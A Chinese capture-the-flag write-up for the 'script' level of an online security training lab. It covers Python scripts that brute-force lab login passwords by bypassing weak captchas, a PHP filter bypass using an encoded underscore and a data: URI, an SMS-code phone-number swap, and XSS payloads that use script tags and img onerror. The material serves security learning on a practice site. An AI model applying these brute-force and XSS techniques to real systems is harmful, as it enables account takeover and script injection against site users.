脚本关

1.key又又找不到了?

emmmm 抓包放包key就出来了,和基础关的差不多。

2.快速口算

试着写下脚本:

# -*- codeing = utf-8 -*-
# @Time : 2021/5/4 10:46
# @Author : rexu
# @File : 2sadd.py
# @Software : PyCharm
import requests,re
s = requests.Session()url = "http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php"
html = s.get(url).content.decode('utf-8')reg = r'([0-9].+)=<'
pattern = re.compile(reg)
match = re.findall(pattern,html)payload = {'v':eval(match[0])}
print(s.post(url,data=payload).text)

得key!

3.这个题目是空的。

找到可以表示空白的字符串,循环提交,找到成功的。

# -*- codeing = utf-8 -*-
# @Time : 2021/5/4 11:15
# @Author : rexu
# @File : null.py
# @Software : PyCharm
import requests
url = ""
payloads = ["%00","%0a","%0d","%0a","%0d","%0b","%0c","%a0","null","none"]
for i in payloads:r = requests.get(url,params={'':'i'})if r.status_code == 200:print(i)else:print("error")
#null是对的

4.怎么就是不弹出key呢?

抓包或者F12查看源码如下:

        <script>function alert(a){return false;}document.write=function(){return false;}function prompt(a){return false;}var a=function (){var b=function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('1s(1e(p,a,c,k,e,r){e=1e(c){1d(c<a?\'\':e(1p(c/a)))+((c=c%a)>1q?1f.1j(c+1k):c.1n(1o))};1g(!\'\'.1h(/^/,1f)){1i(c--)r[e(c)]=k[c]||e(c);k=[1e(e){1d r[e]}];e=1e(){1d\'\\\\w+\'};c=1};1i(c--)1g(k[c])p=p.1h(1l 1m(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);1d p}(\'Y(R(p,a,c,k,e,r){e=R(c){S(c<a?\\\'\\\':e(18(c/a)))+((c=c%a)>17?T.16(c+15):c.12(13))};U(!\\\'\\\'.V(/^/,T)){W(c--)r[e(c)]=k[c]||e(c);k=[R(e){S r[e]}];e=R(){S\\\'\\\\\\\\w+\\\'};c=1};W(c--)U(k[c])p=p.V(Z 11(\\\'\\\\\\\\b\\\'+e(c)+\\\'\\\\\\\\b\\\',\\\'g\\\'),k[c]);S p}(\\\'G(B(p,a,c,k,e,r){e=B(c){A c.L(a)};E(!\\\\\\\'\\\\\\\'.C(/^/,F)){D(c--)r[e(c)]=k[c]||e(c);k=[B(e){A r[e]}];e=B(){A\\\\\\\'\\\\\\\\\\\\\\\\w+\\\\\\\'};c=1};D(c--)E(k[c])p=p.C(I J(\\\\\\\'\\\\\\\\\\\\\\\\b\\\\\\\'+e(c)+\\\\\\\'\\\\\\\\\\\\\\\\b\\\\\\\',\\\\\\\'g\\\\\\\'),k[c]);A p}(\\\\\\\'t(h(p,a,c,k,e,r){e=o;n(!\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\'.m(/^/,o)){l(c--)r[c]=k[c]||c;k=[h(e){f r[e]}];e=h(){f\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\w+\\\\\\\\\\\\\\\'};c=1};l(c--)n(k[c])p=p.m(q s(\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\b\\\\\\\\\\\\\\\'+e(c)+\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\b\\\\\\\\\\\\\\\',\\\\\\\\\\\\\\\'g\\\\\\\\\\\\\\\'),k[c]);f p}(\\\\\\\\\\\\\\\'1 3="6";1 4="7";1 5="";8(1 2=0;2<9;2++){5+=3+4}\\\\\\\\\\\\\\\',j,j,\\\\\\\\\\\\\\\'|u|i|b|c|d|v|x|y|j\\\\\\\\\\\\\\\'.z(\\\\\\\\\\\\\\\'|\\\\\\\\\\\\\\\'),0,{}))\\\\\\\',H,H,\\\\\\\'|||||||||||||||A||B||M||D|C|E|F||I||J|G|N|O||P|Q|K\\\\\\\'.K(\\\\\\\'|\\\\\\\'),0,{}))\\\',X,X,\\\'||||||||||||||||||||||||||||||||||||S|R|V|W|U|T|Y|13|Z|11|14|12|10|19|1a|1b|1c\\\'.14(\\\'|\\\'),0,{}))\',1t,1u,\'|||||||||||||||||||||||||||||||||||||||||||||||||||||1e|1d|1f|1g|1h|1i|1v|1s|1l||1m|1n|1o|1r|1k|1j|1q|1p|1w|1x|1y|1z\'.1r(\'|\'),0,{}))',62,98,'|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||return|function|String|if|replace|while|fromCharCode|29|new|RegExp|toString|36|parseInt|35|split|eval|62|75|53|var|slakfj|teslkjsdflk|for'.split('|'),0,{});var d=eval(b);alert("key is first 14 chars"+d);}</script>

发现提示:提交前14个字符得到key。源码中有三个扰乱的函数return false;删除前3个函数,在本地重新运行,得到key。

学到了一种新的解题方法。

5.逗比验证法第一期:逗比的验证码,有没有难道不一样吗?

看提示好像是验证码不会变,我们抓包看看。

每次在不改正确的验证码的同时,修改密码,错误回显只有pwd error,的确,这是个逗比验证码;我们进行暴力破解,首先发送到Intruder模块;

1238登录得到key。

使用python脚本进行破解:

# -*- codeing = utf-8 -*-
# @Time : 2021/5/4 12:44
# @Author : rexu
# @File : burp.py
# @Software : PyCharm
import requests
s = requests.Session()url = "http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php"
headers  = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0","Cookie": "PHPSESSID=4fd46a57c9beb76b5fd77aa0ccc954b7" #需要修改。
}
for i in range(1000,10000):payload = {"username":"admin","pwd":i,"vcode":"PFFQ"} #同样需要修改r = s.post(url,data=payload,headers=headers)print(i,r.text)

6.逗比验证码第二期。

这回验证码每次刷新一次就回变一次。

我们发现如果不提交验证码,会回显pwd error ,所以猜测可以改包不输入验证码来绕过。

同样的,使用burp爆破。

使用python:

# -*- codeing = utf-8 -*-
# @Time : 2021/5/4 13:06
# @Author : rexu
# @File : burp2.py
# @Software : PyCharm
import requests
s = requests.Session()url = "http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php"
headers = {"Cookie": "PHPSESSID=4fd46a57c9beb76b5fd77aa0ccc954b7"
}
for i in range(1000,10000):payload = {"username":"admin","pwd":i,"vcode":""}r = s.post(url,headers=headers,data=payload)print(i,r.content)

得key!

7.逗比的验证码第三期。

emmmmm

和第二期的验证码一样逗,不用输入验证码,然后爆破,python脚本也类似。

8.微笑一下就能过关了。

F12查看源码:

查看源代码:

代码审计题:

<?php  header("Content-type: text/html; charset=utf-8");if (isset($_GET['view-source'])) { show_source(__FILE__); exit(); } include('flag.php'); $smile = 1;  if (!isset ($_GET['^_^'])) $smile = 0;    #^_^不为空if (preg_match ('/\./', $_GET['^_^'])) $smile = 0;  if (preg_match ('/%/', $_GET['^_^'])) $smile = 0;  if (preg_match ('/[0-9]/', $_GET['^_^'])) $smile = 0;  if (preg_match ('/http/', $_GET['^_^']) ) $smile = 0;  if (preg_match ('/https/', $_GET['^_^']) ) $smile = 0;  if (preg_match ('/ftp/', $_GET['^_^'])) $smile = 0;  if (preg_match ('/telnet/', $_GET['^_^'])) $smile = 0;  #"^_^"的值不能是  .  %  [0-9]  http  https  ftp  telnet  if (preg_match ('/_/', $_SERVER['QUERY_STRING'])) $smile = 0; #^_^这个字符串不能有 _ 这个字符,所以这里我们编码绕过;_的编码为%5fif ($smile) { #满足$smile!=0进入if (@file_exists ($_GET['^_^'])) $smile = 0;  #file_exists() 函数检查文件或目录是否存在,存在返回1;这里为了不让smile是0,则不能进入循环,则$_GET['^_^']不存在。}  if ($smile) { $smile = @file_get_contents ($_GET['^_^']);  if ($smile === "(●'◡'●)") die($flag);  # $smile"必须等于"(●'◡'●)",也就是file_get_contents($_GET['^_^'])必须为"(●'◡'●)"}
?>
编码后我们的输入为:^%5f^$_GET['^_^']只能是字符串:(●'◡'●)输入为:" ^%5f^=data:,(●'◡'●) "
后面又要通过file_get_contents()取出$_GET['^_^']里的值,而$_GET['^_^']又必须不存在。所以$_GET['^_^']只能是字符串"(●'◡'●)",不可能是文件名。那么file_get_contents()里的参数就应该是data:,所以我们输入就应该为" ^%5f^=data:,(●'◡'●) "http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php?^%5f^=data:,(%E2%97%8F%27%E2%97%A1%27%E2%97%8F)

得到key!

9.逗比的手机验证码。

显示登录框:

获取验证码登录后显示:

换手机号登录后发现:

抓包试试。

我们先抓6666结尾的包:

每次重发一回,验证码都会变,在这里我们把6666->6667发现:

发现不行。

我们抓取6667的包;

将这里的6667改为6666,发送:

登录得key

思路:66可得验证码,67不可得验证码,抓取67的包修改为66得验证码,配合67进行登录,找到key。

10.基情燃烧的岁月

进行爆破发现:

登录:

emmmm 使用99登录进行爆破:

登录:

11.验证码识别。

涉及未学到的python库,正在学。

12.xss1-基础

先用:<script>alert(1)</script>

使用:<script>alert(HackingLab)</script>

13.xss2-绕过

使用:<script>alert(HackingLab)</script>发现:

怀疑<script>被过滤;使用<img src=1 οnerrοr=alert(HackingLab)>成功绕过。

14.xss3-构造

F12查看源码,并构造payload如下:

构造闭合:><img src=1 οnerrοr=alert(1)

15.xss5-Principle很重要的XSS

再想想

CTF [网络安全实验室] [脚本关]相关推荐

  1. CTF [网络安全实验室] [基础关]

    基础关 1.key在哪里? F12查看源码 2.再加密一次你就得到key了 加密之后的数据为xrlvf23xfqwsxsqf 我们在进行一次加密即可. ROT13在线解码工具 3.猜猜这是经过了多少次 ...

  2. 网络安全实验室 脚本关通关writeup

    [1]key又又找不到了 查看源代码.发现key的路径,点击进行了302跳转,抓包,得到key [2]快速口算 要2秒内提交答案,果断上python import requests,re s = re ...

  3. 网络安全实验室基础关第二题

    网络安全实验室基础关第二题 题目: 解题思路: 了解当今常见加密算法得出以下结论 使用在线网站利用常见加密算法将数据加密,未得其果,遂常规操作向度娘提问,知道了rot13加密算法, ROT13(回转1 ...

  4. 网络安全实验室 注入关通关writeup

    URL:http://hackinglab.cn 注入关   [1] 最简单的SQL注入 username = admin' or ''=' password随便什么都可以直接可以登录 [2] 熟悉注 ...

  5. 网络安全实验室----基础关

    基础关 第一关 通关地址 题目提示: 页面提示 WEB解题的第一步:三七二十一查看源码,或者F12也可以得到flag 知识点:查看源码方法 第二关 通关地址:无 题目提示: 从逻辑上来说:key–加密 ...

  6. 网络安全实验室---解密关

    第一关:以管理员身份登录系统 题目描述: 以管理员身份登录系统 分值: 450 以管理员身份登录即可获取通关密码(重置即可,无需登录) 通关地址 补充说明:假设除了admin用户,其它用户的邮箱都可被 ...

  7. 网络安全实验室—基础关

    - key在哪里? 分值: 100 过关地址 点击过关地址 右键查看源代码 key is jflsjklejflkdsjfklds - 再加密一次你就得到key啦~ 分值: 150 加密之后的数据为x ...

  8. 网络信息安全攻防实验室 脚本关第六关

    http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php 这一关与第五关类似,但是验证码验证一次就失效了,实际 ...

  9. 网络安全实验室-基础关 WP

    这里写自定义目录标题 1.key在哪里? 直接打开源地址就可以看到key 2.再加密一次你就得到key啦~ 根据题目得到的提示,直接将xrlvf23xfqwsxsqf加密一次,放到一个网站去http: ...

  10. 网络安全实验室基础关 writeup

    1.寻找key,这题比较简单直接上源代码. 2.再加密一次你就得到key啦~分值: 150 加密之后的数据为xrlvf23xfqwsxsqf 题目中说再加密一次 ,自然想到rot13加密 3.猜猜这是 ...

最新文章

  1. Oracle数据文件转移
  2. python读取mysql数据库_Python操作MySQL数据库9个实用实例
  3. linux连接svn上代码,代码管理平台介绍、安装svn、客户端上使用svn(linux)、客户端上使用svn(windows)...
  4. 基于visual Studio2013解决面试题之0210树的最远距离
  5. 入门RabbitMQ核心概念
  6. MYSQL相关学习-常用语句
  7. mysql maximum idle_MySQL的MaxIdleConns不合理,会变成短连接的原因
  8. AI 重塑 IT 的 5 种方式
  9. 互联网Internet体系结构以及网关协议OSPF
  10. t–sql pl–sql_SQL存储过程–终极指南
  11. 《博弈论与生活》思维导图
  12. 数学建模学习(24): 排队论模型完整详细讲解,数学与案例结合,lingo软件搭配,数学不好也能学会!
  13. 为什么是“深度”学习而不是宽度?
  14. linux rarcrack破解rar、zip和7z压缩包简单密码的工具
  15. 爬虫->TpImgspider
  16. Elasticsearch 版本 和SpringData ElasticSearch 版本以及SpringBoot版本选择
  17. 字节算法题--N阶台阶,每次走一步或两步,计算共有多少种走法,并将每种走法打印出来。
  18. Linux系统编程——锁
  19. 人脸识别门禁入主社区 新潮不代表不安全
  20. Core Animation之多种动画效果

热门文章

  1. Python开发工具PyCharm中文版安装与配置详细图文教程
  2. python实现一个土豆聊天 potato chat 机器人
  3. Webpack常用插件总结
  4. linux双系统安装教程
  5. C语言项目源码,C语言源代码大全(2021最新)!
  6. JDK API 1.6 中文版 及其简单使用
  7. 图论画图工具 Graph Editor
  8. delphi互联网消息服务器,Delphi2010中采用DataSnap的三层网络架构服务器获取客户端ip,端口信息...
  9. html编写qq整人代码,vbs代码大全?vbs整人代码?qq代码大全?常用VBS代码 值得一看
  10. 如何安装SQL2005 EXPRESS版